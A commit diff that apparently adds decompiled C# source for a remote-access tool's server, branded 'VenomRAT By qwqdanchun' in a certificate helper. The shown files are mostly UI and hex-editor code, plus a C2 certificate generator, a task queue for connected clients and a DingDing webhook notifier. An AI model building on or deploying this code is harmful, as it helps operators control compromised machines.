This commit is contained in:
Anonymous
2023-07-29 23:37:10 +05:30
parent c6c629437c
commit 85f5411b6e
158 changed files with 220479 additions and 4 deletions

62
Helper/AeroListView.cs Normal file
View File

@@ -0,0 +1,62 @@
using System;
using System.Windows.Forms;
namespace Server.Helper;
internal class AeroListView : ListView
{
private const uint WM_CHANGEUISTATE = 295u;
private const short UIS_SET = 1;
private const short UISF_HIDEFOCUS = 1;
private readonly IntPtr _removeDots = new IntPtr(MakeWin32Long(1, 1));
private ListViewColumnSorter LvwColumnSorter { get; set; }
public static int MakeWin32Long(short wLow, short wHigh)
{
return (wLow << 16) | wHigh;
}
public AeroListView()
{
SetStyle(ControlStyles.AllPaintingInWmPaint | ControlStyles.OptimizedDoubleBuffer, value: true);
LvwColumnSorter = new ListViewColumnSorter();
base.ListViewItemSorter = LvwColumnSorter;
base.View = View.Details;
base.FullRowSelect = true;
}
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
if (Environment.OSVersion.Platform == PlatformID.Win32NT && Environment.OSVersion.Version.Major >= 6)
{
NativeMethods.SetWindowTheme(base.Handle, "explorer", null);
}
if (Environment.OSVersion.Platform == PlatformID.Win32NT && Environment.OSVersion.Version.Major >= 5)
{
NativeMethods.SendMessage(base.Handle, 295u, _removeDots, IntPtr.Zero);
}
}
protected override void OnColumnClick(ColumnClickEventArgs e)
{
base.OnColumnClick(e);
if (e.Column == LvwColumnSorter.SortColumn)
{
LvwColumnSorter.Order = ((LvwColumnSorter.Order != SortOrder.Ascending) ? SortOrder.Ascending : SortOrder.Descending);
}
else
{
LvwColumnSorter.SortColumn = e.Column;
LvwColumnSorter.Order = SortOrder.Ascending;
}
if (!base.VirtualMode)
{
Sort();
}
}
}

26
Helper/AsyncTask.cs Normal file
View File

@@ -0,0 +1,26 @@
using System;
using System.Collections.Generic;
using MessagePackLib.MessagePack;
namespace Server.Helper;
public class AsyncTask
{
public MsgPack msgPack;
public string id;
public List<string> doneClient;
public string title { get; set; }
public string cnt => $"{doneClient.Count}";
public AsyncTask(MsgPack _msgPack, string _title)
{
msgPack = _msgPack;
id = Guid.NewGuid().ToString();
doneClient = new List<string>();
title = _title;
}
}

128
Helper/ByteConverter.cs Normal file
View File

@@ -0,0 +1,128 @@
using System;
using System.Collections.Generic;
using System.Text;
namespace Server.Helper;
public class ByteConverter
{
private static byte NULL_BYTE;
public static byte[] GetBytes(int value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(long value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(uint value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(ulong value)
{
return BitConverter.GetBytes(value);
}
public static byte[] GetBytes(string value)
{
return StringToBytes(value);
}
public static byte[] GetBytes(string[] value)
{
return StringArrayToBytes(value);
}
public static int ToInt32(byte[] bytes)
{
return BitConverter.ToInt32(bytes, 0);
}
public static long ToInt64(byte[] bytes)
{
return BitConverter.ToInt64(bytes, 0);
}
public static uint ToUInt32(byte[] bytes)
{
return BitConverter.ToUInt32(bytes, 0);
}
public static ulong ToUInt64(byte[] bytes)
{
return BitConverter.ToUInt64(bytes, 0);
}
public static string ToString(byte[] bytes)
{
return BytesToString(bytes);
}
public static string[] ToStringArray(byte[] bytes)
{
return BytesToStringArray(bytes);
}
private static byte[] GetNullBytes()
{
return new byte[2] { NULL_BYTE, NULL_BYTE };
}
private static byte[] StringToBytes(string value)
{
byte[] array = new byte[value.Length * 2];
Buffer.BlockCopy(value.ToCharArray(), 0, array, 0, array.Length);
return array;
}
private static byte[] StringArrayToBytes(string[] strings)
{
List<byte> list = new List<byte>();
foreach (string value in strings)
{
list.AddRange(StringToBytes(value));
list.AddRange(GetNullBytes());
}
return list.ToArray();
}
private static string BytesToString(byte[] bytes)
{
char[] array = new char[(int)Math.Ceiling((float)bytes.Length / 2f)];
Buffer.BlockCopy(bytes, 0, array, 0, bytes.Length);
return new string(array);
}
private static string[] BytesToStringArray(byte[] bytes)
{
List<string> list = new List<string>();
int i = 0;
StringBuilder stringBuilder = new StringBuilder(bytes.Length);
while (i < bytes.Length)
{
int num = 0;
for (; i < bytes.Length; i++)
{
if (num >= 3)
{
break;
}
if (bytes[i] == NULL_BYTE)
{
num++;
continue;
}
stringBuilder.Append(Convert.ToChar(bytes[i]));
num = 0;
}
list.Add(stringBuilder.ToString());
stringBuilder.Clear();
}
return list.ToArray();
}
}

View File

@@ -0,0 +1,41 @@
using System;
using System.Security.Cryptography.X509Certificates;
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Operators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.X509;
using Org.BouncyCastle.X509.Extension;
namespace Server.Helper;
public static class CreateCertificate
{
public static X509Certificate2 CreateCertificateAuthority(string caName, int keyStrength)
{
SecureRandom random = new SecureRandom();
RsaKeyPairGenerator rsaKeyPairGenerator = new RsaKeyPairGenerator();
rsaKeyPairGenerator.Init(new KeyGenerationParameters(random, keyStrength));
AsymmetricCipherKeyPair asymmetricCipherKeyPair = rsaKeyPairGenerator.GenerateKeyPair();
X509V3CertificateGenerator x509V3CertificateGenerator = new X509V3CertificateGenerator();
X509Name issuerDN = new X509Name("CN=" + caName + ",OU=qwqdanchun,O=VenomRAT By qwqdanchun,L=SH,C=CN");
X509Name subjectDN = new X509Name("CN=VenomRAT");
BigInteger serialNumber = BigInteger.ProbablePrime(160, new SecureRandom());
x509V3CertificateGenerator.SetSerialNumber(serialNumber);
x509V3CertificateGenerator.SetSubjectDN(subjectDN);
x509V3CertificateGenerator.SetIssuerDN(issuerDN);
x509V3CertificateGenerator.SetNotAfter(DateTime.UtcNow.Subtract(new TimeSpan(-3650, 0, 0, 0)));
x509V3CertificateGenerator.SetNotBefore(DateTime.UtcNow.Subtract(new TimeSpan(285, 0, 0, 0)));
x509V3CertificateGenerator.SetPublicKey(asymmetricCipherKeyPair.Public);
x509V3CertificateGenerator.AddExtension(X509Extensions.SubjectKeyIdentifier, critical: false, new SubjectKeyIdentifierStructure(asymmetricCipherKeyPair.Public));
x509V3CertificateGenerator.AddExtension(X509Extensions.BasicConstraints, critical: true, new BasicConstraints(cA: true));
ISignatureFactory signatureCalculatorFactory = new Asn1SignatureFactory("SHA512WITHRSA", asymmetricCipherKeyPair.Private, random);
return new X509Certificate2(DotNetUtilities.ToX509Certificate(x509V3CertificateGenerator.Generate(signatureCalculatorFactory)))
{
PrivateKey = DotNetUtilities.ToRSA(asymmetricCipherKeyPair.Private as RsaPrivateCrtKeyParameters)
};
}
}

45
Helper/DingDing.cs Normal file
View File

@@ -0,0 +1,45 @@
using System;
using System.IO;
using System.Net;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using Newtonsoft.Json;
namespace Server.Helper;
internal class DingDing
{
public static void Send(string WebHook, string secret, string content)
{
_ = DateTime.Now - new DateTime(1970, 1, 1, 0, 0, 0, 0);
long num = (DateTime.Now.ToUniversalTime().Ticks - 621355968000000000L) / 10000;
string s = num + "\n" + secret;
ASCIIEncoding aSCIIEncoding = new ASCIIEncoding();
byte[] bytes = aSCIIEncoding.GetBytes(secret);
byte[] bytes2 = aSCIIEncoding.GetBytes(s);
string text;
using (HMACSHA256 hMACSHA = new HMACSHA256(bytes))
{
text = HttpUtility.UrlEncode(Convert.ToBase64String(hMACSHA.ComputeHash(bytes2)), Encoding.UTF8);
}
string text2 = WebHook + "&timestamp=" + num + "&sign=" + text;
string s2 = JsonConvert.SerializeObject(new
{
msgtype = "text",
text = new { content }
});
Console.WriteLine(text2);
HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text2);
httpWebRequest.Method = "POST";
httpWebRequest.ContentType = "application/json;charset=utf-8";
byte[] bytes3 = Encoding.UTF8.GetBytes(s2);
httpWebRequest.ContentLength = bytes3.Length;
using (Stream stream = httpWebRequest.GetRequestStream())
{
stream.Write(bytes3, 0, bytes3.Length);
}
using StreamReader streamReader = new StreamReader(((HttpWebResponse)httpWebRequest.GetResponse()).GetResponseStream(), Encoding.UTF8);
streamReader.ReadToEnd();
}
}

View File

@@ -0,0 +1,66 @@
using System;
using System.Collections.Generic;
namespace Server.Helper.HexEditor;
public class ByteCollection
{
private List<byte> _bytes;
public int Length => _bytes.Count;
public ByteCollection()
{
_bytes = new List<byte>();
}
public ByteCollection(byte[] bytes)
{
_bytes = new List<byte>(bytes);
}
public void Add(byte item)
{
_bytes.Add(item);
}
public void Insert(int index, byte item)
{
_bytes.Insert(index, item);
}
public void Remove(byte item)
{
_bytes.Remove(item);
}
public void RemoveAt(int index)
{
_bytes.RemoveAt(index);
}
public void RemoveRange(int startIndex, int count)
{
_bytes.RemoveRange(startIndex, count);
}
public byte GetAt(int index)
{
return _bytes[index];
}
public void SetAt(int index, byte item)
{
_bytes[index] = item;
}
public char GetCharAt(int index)
{
return Convert.ToChar(_bytes[index]);
}
public byte[] ToArray()
{
return _bytes.ToArray();
}
}

184
Helper/HexEditor/Caret.cs Normal file
View File

@@ -0,0 +1,184 @@
using System;
using System.Drawing;
using System.Runtime.InteropServices;
namespace Server.Helper.HexEditor;
public class Caret
{
private int _startIndex;
private int _endIndex;
private bool _isCaretActive;
private bool _isCaretHidden;
private Point _location;
private HexEditor _editor;
public int SelectionStart
{
get
{
if (_endIndex < _startIndex)
{
return _endIndex;
}
return _startIndex;
}
}
public int SelectionLength
{
get
{
if (_endIndex < _startIndex)
{
return _startIndex - _endIndex;
}
return _endIndex - _startIndex;
}
}
public bool Focused => _isCaretActive;
public int CurrentIndex => _endIndex;
public Point Location => _location;
public event EventHandler SelectionStartChanged;
public event EventHandler SelectionLengthChanged;
public Caret(HexEditor editor)
{
_editor = editor;
_isCaretActive = false;
_startIndex = 0;
_endIndex = 0;
_isCaretHidden = true;
_location = new Point(0, 0);
}
private bool Create(IntPtr hWHandler)
{
if (!_isCaretActive)
{
_isCaretActive = true;
return CreateCaret(hWHandler, IntPtr.Zero, 0, (int)_editor.CharSize.Height - 2);
}
return false;
}
private bool Show(IntPtr hWnd)
{
if (_isCaretActive)
{
_isCaretHidden = false;
return ShowCaret(hWnd);
}
return false;
}
public bool Hide(IntPtr hWnd)
{
if (_isCaretActive && !_isCaretHidden)
{
_isCaretHidden = true;
return HideCaret(hWnd);
}
return false;
}
public bool Destroy()
{
if (_isCaretActive)
{
_isCaretActive = false;
DeSelect();
DestroyCaret();
}
return false;
}
public void SetStartIndex(int index)
{
_startIndex = index;
_endIndex = _startIndex;
if (this.SelectionStartChanged != null)
{
this.SelectionStartChanged(this, EventArgs.Empty);
}
if (this.SelectionLengthChanged != null)
{
this.SelectionLengthChanged(this, EventArgs.Empty);
}
}
public void SetEndIndex(int index)
{
_endIndex = index;
if (this.SelectionStartChanged != null)
{
this.SelectionStartChanged(this, EventArgs.Empty);
}
if (this.SelectionLengthChanged != null)
{
this.SelectionLengthChanged(this, EventArgs.Empty);
}
}
public void SetCaretLocation(Point start)
{
Create(_editor.Handle);
_location = start;
SetCaretPos(_location.X, _location.Y);
Show(_editor.Handle);
}
public bool IsSelected(int byteIndex)
{
if (SelectionStart <= byteIndex)
{
return byteIndex < SelectionStart + SelectionLength;
}
return false;
}
private void DeSelect()
{
if (_endIndex < _startIndex)
{
_startIndex = _endIndex;
}
else
{
_endIndex = _startIndex;
}
if (this.SelectionStartChanged != null)
{
this.SelectionStartChanged(this, EventArgs.Empty);
}
if (this.SelectionLengthChanged != null)
{
this.SelectionLengthChanged(this, EventArgs.Empty);
}
}
[DllImport("user32.dll", SetLastError = true)]
private static extern bool CreateCaret(IntPtr hWnd, IntPtr hBitmap, int nWidth, int nHeight);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool DestroyCaret();
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetCaretPos(int x, int y);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool ShowCaret(IntPtr hWnd);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool HideCaret(IntPtr hWnd);
}

View File

@@ -0,0 +1,140 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Server.Helper.HexEditor;
public class EditView : IKeyMouseEventHandler
{
private HexViewHandler _hexView;
private StringViewHandler _stringView;
private HexEditor _editor;
public EditView(HexEditor editor)
{
_editor = editor;
_hexView = new HexViewHandler(editor);
_stringView = new StringViewHandler(editor);
}
public void OnKeyPress(KeyPressEventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.OnKeyPress(e);
}
else
{
_stringView.OnKeyPress(e);
}
}
public void OnKeyDown(KeyEventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.OnKeyDown(e);
}
else
{
_stringView.OnKeyDown(e);
}
}
public void OnKeyUp(KeyEventArgs e)
{
}
public void OnMouseDown(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDown(e.X, e.Y);
}
else
{
_stringView.OnMouseDown(e.X, e.Y);
}
}
}
public void OnMouseDragged(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDragged(e.X, e.Y);
}
else
{
_stringView.OnMouseDragged(e.X, e.Y);
}
}
}
public void OnMouseUp(MouseEventArgs e)
{
}
public void OnMouseDoubleClick(MouseEventArgs e)
{
if (e.Button == MouseButtons.Left)
{
if (InHexView(e.X))
{
_hexView.OnMouseDoubleClick();
}
else
{
_stringView.OnMouseDoubleClick();
}
}
}
public void OnGotFocus(EventArgs e)
{
if (InHexView(_editor.CaretPosX))
{
_hexView.Focus();
}
else
{
_stringView.Focus();
}
}
public void SetLowerCase()
{
_hexView.SetLowerCase();
}
public void SetUpperCase()
{
_hexView.SetUpperCase();
}
public void Update(int startPositionX, Rectangle area)
{
_hexView.Update(startPositionX, area);
_stringView.Update(_hexView.MaxWidth, area);
}
public void Paint(Graphics g, int startIndex, int endIndex)
{
for (int i = 0; i + startIndex < endIndex; i++)
{
_hexView.Paint(g, i, startIndex);
_stringView.Paint(g, i, startIndex);
}
}
private bool InHexView(int x)
{
return x < _hexView.MaxWidth + _editor.EntityMargin - 2;
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,316 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Server.Helper.HexEditor;
public class HexViewHandler
{
private bool _isEditing;
private string _hexType = "X2";
private Rectangle _recHexValue;
private StringFormat _stringFormat;
private HexEditor _editor;
public int MaxWidth => _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine;
public HexViewHandler(HexEditor editor)
{
_editor = editor;
_stringFormat = new StringFormat(StringFormat.GenericTypographic);
_stringFormat.Alignment = StringAlignment.Center;
_stringFormat.LineAlignment = StringAlignment.Center;
}
public void OnKeyPress(KeyPressEventArgs e)
{
if (IsHex(e.KeyChar))
{
HandleUserInput(e.KeyChar);
}
}
public void OnKeyDown(KeyEventArgs e)
{
if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back)
{
if (_editor.SelectionLength > 0)
{
HandleUserRemove();
int caretIndex = _editor.CaretIndex;
Point caretLocation = GetCaretLocation(caretIndex);
_editor.SetCaretStart(caretIndex, caretLocation);
}
else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete)
{
_editor.RemoveByteAt(_editor.CaretIndex);
Point caretLocation2 = GetCaretLocation(_editor.CaretIndex);
_editor.SetCaretStart(_editor.CaretIndex, caretLocation2);
}
else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back)
{
int index = _editor.CaretIndex - 1;
if (_isEditing)
{
index = _editor.CaretIndex;
}
_editor.RemoveByteAt(index);
Point caretLocation3 = GetCaretLocation(index);
_editor.SetCaretStart(index, caretLocation3);
}
_isEditing = false;
}
else if (e.KeyCode == Keys.Up && _editor.CaretIndex - _editor.BytesPerLine >= 0)
{
int num = _editor.CaretIndex - _editor.BytesPerLine;
if (num % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recHexValue.X + _recHexValue.Width * _editor.BytesPerLine)
{
Point location = new Point(_editor.CaretPosX, _editor.CaretPosY - _recHexValue.Height);
if (num == 0)
{
location = new Point(_editor.CaretPosX, _editor.CaretPosY);
num = _editor.BytesPerLine;
}
if (e.Shift)
{
_editor.SetCaretEnd(num, location);
}
else
{
_editor.SetCaretStart(num, location);
}
_isEditing = false;
}
else
{
HandleArrowKeys(num, e.Shift);
}
}
else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine)
{
int num2 = _editor.CaretIndex + _editor.BytesPerLine;
if (num2 > _editor.HexTableLength)
{
num2 = _editor.HexTableLength;
HandleArrowKeys(num2, e.Shift);
return;
}
Point location2 = new Point(_editor.CaretPosX, _editor.CaretPosY + _recHexValue.Height);
if (e.Shift)
{
_editor.SetCaretEnd(num2, location2);
}
else
{
_editor.SetCaretStart(num2, location2);
}
_isEditing = false;
}
else if (e.KeyCode == Keys.Left && _editor.CaretIndex - 1 >= 0)
{
int index2 = _editor.CaretIndex - 1;
HandleArrowKeys(index2, e.Shift);
}
else if (e.KeyCode == Keys.Right && _editor.CaretIndex + 1 <= _editor.HexTableLength)
{
int index3 = _editor.CaretIndex + 1;
HandleArrowKeys(index3, e.Shift);
}
}
public void HandleArrowKeys(int index, bool isShiftDown)
{
Point caretLocation = GetCaretLocation(index);
if (isShiftDown)
{
_editor.SetCaretEnd(index, caretLocation);
}
else
{
_editor.SetCaretStart(index, caretLocation);
}
_isEditing = false;
}
public void OnMouseDown(int x, int y)
{
int num = (x - _recHexValue.X) / _recHexValue.Width;
int num2 = (y - _recHexValue.Y) / _recHexValue.Height;
num = ((num > _editor.BytesPerLine) ? _editor.BytesPerLine : num);
num = ((num >= 0) ? num : 0);
num2 = ((num2 > _editor.MaxBytesV) ? _editor.MaxBytesV : num2);
num2 = ((num2 >= 0) ? num2 : 0);
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= num2)
{
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= num)
{
num = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
num2 = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + num + num2 * _editor.BytesPerLine);
int x2 = num * _recHexValue.Width + _recHexValue.X;
int y2 = num2 * _recHexValue.Height + _recHexValue.Y;
_editor.SetCaretStart(index, new Point(x2, y2));
_isEditing = false;
}
public void OnMouseDragged(int x, int y)
{
int num = (x - _recHexValue.X) / _recHexValue.Width;
int num2 = (y - _recHexValue.Y) / _recHexValue.Height;
num = ((num > _editor.BytesPerLine) ? _editor.BytesPerLine : num);
num = ((num >= 0) ? num : 0);
num2 = ((num2 > _editor.MaxBytesV) ? _editor.MaxBytesV : num2);
num2 = ((_editor.FirstVisibleByte <= 0) ? ((num2 >= 0) ? num2 : 0) : ((num2 < 0) ? (-1) : num2));
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= num2)
{
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= num)
{
num = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
num2 = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + num + num2 * _editor.BytesPerLine);
int x2 = num * _recHexValue.Width + _recHexValue.X;
int y2 = num2 * _recHexValue.Height + _recHexValue.Y;
_editor.SetCaretEnd(index, new Point(x2, y2));
}
public void OnMouseDoubleClick()
{
if (_editor.CaretIndex < _editor.LastVisibleByte)
{
int index = _editor.CaretIndex + 1;
Point caretLocation = GetCaretLocation(index);
_editor.SetCaretEnd(index, caretLocation);
}
}
public void Update(int startPositionX, Rectangle area)
{
_recHexValue = new Rectangle(startPositionX, area.Y, (int)(_editor.CharSize.Width * 3f), (int)_editor.CharSize.Height - 2);
_recHexValue.X += _editor.EntityMargin;
}
public void Paint(Graphics g, int index, int startIndex)
{
Point byteColumnAndRow = GetByteColumnAndRow(index);
if (_editor.IsSelected(index + startIndex))
{
PaintByteAsSelected(g, byteColumnAndRow, index + startIndex);
}
else
{
PaintByte(g, byteColumnAndRow, index + startIndex);
}
}
private void PaintByteAsSelected(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.SelectionBackColor);
SolidBrush brush2 = new SolidBrush(_editor.SelectionForeColor);
RectangleF bound = GetBound(point);
string s = _editor.GetByte(index).ToString(_hexType);
g.FillRectangle(brush, bound);
g.DrawString(s, _editor.Font, brush2, bound, _stringFormat);
}
private void PaintByte(Graphics g, Point point, int index)
{
SolidBrush brush = new SolidBrush(_editor.ForeColor);
RectangleF bound = GetBound(point);
string s = _editor.GetByte(index).ToString(_hexType);
g.DrawString(s, _editor.Font, brush, bound, _stringFormat);
}
public void SetLowerCase()
{
_hexType = "x2";
}
public void SetUpperCase()
{
_hexType = "X2";
}
public void Focus()
{
int caretIndex = _editor.CaretIndex;
Point caretLocation = GetCaretLocation(caretIndex);
_editor.SetCaretStart(caretIndex, caretLocation);
}
private Point GetCaretLocation(int index)
{
int x = _recHexValue.X + _recHexValue.Width * (index % _editor.BytesPerLine);
int y = _recHexValue.Y + _recHexValue.Height * ((index - (_editor.FirstVisibleByte + index % _editor.BytesPerLine)) / _editor.BytesPerLine);
return new Point(x, y);
}
private void HandleUserRemove()
{
int selectionStart = _editor.SelectionStart;
Point caretLocation = GetCaretLocation(selectionStart);
_editor.RemoveSelectedBytes();
_editor.SetCaretStart(selectionStart, caretLocation);
}
private void HandleUserInput(char key)
{
if (!_editor.CaretFocused)
{
return;
}
HandleUserRemove();
if (_isEditing)
{
_isEditing = false;
byte @byte = _editor.GetByte(_editor.CaretIndex);
@byte = (byte)(@byte + Convert.ToByte(key.ToString(), 16));
_editor.SetByte(_editor.CaretIndex, @byte);
int index = _editor.CaretIndex + 1;
Point caretLocation = GetCaretLocation(index);
_editor.SetCaretStart(index, caretLocation);
return;
}
_isEditing = true;
byte item = Convert.ToByte(key + "0", 16);
if (_editor.HexTable.Length == 0)
{
_editor.AppendByte(item);
}
else
{
_editor.InsertByte(_editor.CaretIndex, item);
}
int x = _recHexValue.X + _recHexValue.Width * (_editor.CaretIndex % _editor.BytesPerLine) + _recHexValue.Width / 2;
int y = _recHexValue.Y + _recHexValue.Height * ((_editor.CaretIndex - (_editor.FirstVisibleByte + _editor.CaretIndex % _editor.BytesPerLine)) / _editor.BytesPerLine);
_editor.SetCaretStart(_editor.CaretIndex, new Point(x, y));
}
private Point GetByteColumnAndRow(int index)
{
int x = index % _editor.BytesPerLine;
int y = index / _editor.BytesPerLine;
return new Point(x, y);
}
private RectangleF GetBound(Point point)
{
return new RectangleF(_recHexValue.X + point.X * _recHexValue.Width, _recHexValue.Y + point.Y * _recHexValue.Height, _recHexValue.Width, _recHexValue.Height);
}
private bool IsHex(char c)
{
if ((c < 'a' || c > 'f') && (c < 'A' || c > 'F'))
{
return char.IsDigit(c);
}
return true;
}
}

View File

@@ -0,0 +1,23 @@
using System;
using System.Windows.Forms;
namespace Server.Helper.HexEditor;
public interface IKeyMouseEventHandler
{
void OnKeyPress(KeyPressEventArgs e);
void OnKeyDown(KeyEventArgs e);
void OnKeyUp(KeyEventArgs e);
void OnMouseDown(MouseEventArgs e);
void OnMouseDragged(MouseEventArgs e);
void OnMouseUp(MouseEventArgs e);
void OnMouseDoubleClick(MouseEventArgs e);
void OnGotFocus(EventArgs e);
}

View File

@@ -0,0 +1,273 @@
using System;
using System.Drawing;
using System.Windows.Forms;
namespace Server.Helper.HexEditor;
public class StringViewHandler
{
private Rectangle _recStringView;
private StringFormat _stringFormat;
private HexEditor _editor;
public int MaxWidth => _recStringView.X + _recStringView.Width;
public StringViewHandler(HexEditor editor)
{
_editor = editor;
_stringFormat = new StringFormat(StringFormat.GenericTypographic);
_stringFormat.Alignment = StringAlignment.Center;
_stringFormat.LineAlignment = StringAlignment.Center;
}
public void OnKeyPress(KeyPressEventArgs e)
{
if (!char.IsControl(e.KeyChar))
{
HandleUserInput(e.KeyChar);
}
}
public void OnKeyDown(KeyEventArgs e)
{
if (e.KeyCode == Keys.Delete || e.KeyCode == Keys.Back)
{
if (_editor.SelectionLength > 0)
{
HandleUserRemove();
int caretIndex = _editor.CaretIndex;
Point caretLocation = GetCaretLocation(caretIndex);
_editor.SetCaretStart(caretIndex, caretLocation);
}
else if (_editor.CaretIndex < _editor.LastVisibleByte && e.KeyCode == Keys.Delete)
{
_editor.RemoveByteAt(_editor.CaretIndex);
Point caretLocation2 = GetCaretLocation(_editor.CaretIndex);
_editor.SetCaretStart(_editor.CaretIndex, caretLocation2);
}
else if (_editor.CaretIndex > 0 && e.KeyCode == Keys.Back)
{
int index = _editor.CaretIndex - 1;
_editor.RemoveByteAt(index);
Point caretLocation3 = GetCaretLocation(index);
_editor.SetCaretStart(index, caretLocation3);
}
}
else if (e.KeyCode == Keys.Up && _editor.CaretIndex - _editor.BytesPerLine >= 0)
{
int num = _editor.CaretIndex - _editor.BytesPerLine;
if (num % _editor.BytesPerLine == 0 && _editor.CaretPosX >= _recStringView.X + _recStringView.Width)
{
Point location = new Point(_editor.CaretPosX, _editor.CaretPosY - _recStringView.Height);
if (num == 0)
{
location = new Point(_editor.CaretPosX, _editor.CaretPosY);
num = _editor.BytesPerLine;
}
if (e.Shift)
{
_editor.SetCaretEnd(num, location);
}
else
{
_editor.SetCaretStart(num, location);
}
}
else
{
HandleArrowKeys(num, e.Shift);
}
}
else if (e.KeyCode == Keys.Down && (_editor.CaretIndex - 1) / _editor.BytesPerLine < _editor.HexTableLength / _editor.BytesPerLine)
{
int num2 = _editor.CaretIndex + _editor.BytesPerLine;
if (num2 > _editor.HexTableLength)
{
num2 = _editor.HexTableLength;
HandleArrowKeys(num2, e.Shift);
return;
}
Point location2 = new Point(_editor.CaretPosX, _editor.CaretPosY + _recStringView.Height);
if (e.Shift)
{
_editor.SetCaretEnd(num2, location2);
}
else
{
_editor.SetCaretStart(num2, location2);
}
}
else if (e.KeyCode == Keys.Left && _editor.CaretIndex - 1 >= 0)
{
int index2 = _editor.CaretIndex - 1;
HandleArrowKeys(index2, e.Shift);
}
else if (e.KeyCode == Keys.Right && _editor.CaretIndex + 1 <= _editor.LastVisibleByte)
{
int index3 = _editor.CaretIndex + 1;
HandleArrowKeys(index3, e.Shift);
}
}
public void HandleArrowKeys(int index, bool isShiftDown)
{
Point caretLocation = GetCaretLocation(index);
if (isShiftDown)
{
_editor.SetCaretEnd(index, caretLocation);
}
else
{
_editor.SetCaretStart(index, caretLocation);
}
}
public void OnMouseDown(int x, int y)
{
int num = (x - _recStringView.X) / (int)_editor.CharSize.Width;
int num2 = (y - _recStringView.Y) / _recStringView.Height;
num = ((num > _editor.BytesPerLine) ? _editor.BytesPerLine : num);
num = ((num >= 0) ? num : 0);
num2 = ((num2 > _editor.MaxBytesV) ? _editor.MaxBytesV : num2);
num2 = ((num2 >= 0) ? num2 : 0);
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= num2)
{
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= num)
{
num = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
num2 = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + num + num2 * _editor.BytesPerLine);
int x2 = num * (int)_editor.CharSize.Width + _recStringView.X;
int y2 = num2 * _recStringView.Height + _recStringView.Y;
_editor.SetCaretStart(index, new Point(x2, y2));
}
public void OnMouseDragged(int x, int y)
{
int num = (x - _recStringView.X) / (int)_editor.CharSize.Width;
int num2 = (y - _recStringView.Y) / _recStringView.Height;
num = ((num > _editor.BytesPerLine) ? _editor.BytesPerLine : num);
num = ((num >= 0) ? num : 0);
num2 = ((num2 > _editor.MaxBytesV) ? _editor.MaxBytesV : num2);
num2 = ((_editor.FirstVisibleByte <= 0) ? ((num2 >= 0) ? num2 : 0) : ((num2 < 0) ? (-1) : num2));
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine <= num2)
{
if ((_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine <= num)
{
num = (_editor.LastVisibleByte - _editor.FirstVisibleByte) % _editor.BytesPerLine;
}
num2 = (_editor.LastVisibleByte - _editor.FirstVisibleByte) / _editor.BytesPerLine;
}
int index = Math.Min(_editor.LastVisibleByte, _editor.FirstVisibleByte + num + num2 * _editor.BytesPerLine);
int x2 = num * (int)_editor.CharSize.Width + _recStringView.X;
int y2 = num2 * _recStringView.Height + _recStringView.Y;
_editor.SetCaretEnd(index, new Point(x2, y2));
}
public void OnMouseDoubleClick()
{
if (_editor.CaretIndex < _editor.LastVisibleByte)
{
int index = _editor.CaretIndex + 1;
Point caretLocation = GetCaretLocation(index);
_editor.SetCaretEnd(index, caretLocation);
}
}
public void Focus()
{
int caretIndex = _editor.CaretIndex;
Point caretLocation = GetCaretLocation(caretIndex);
_editor.SetCaretStart(caretIndex, caretLocation);
}
public void Update(int startPositionX, Rectangle area)
{
_recStringView = new Rectangle(startPositionX, area.Y, (int)(_editor.CharSize.Width * (float)_editor.BytesPerLine), (int)_editor.CharSize.Height - 2);
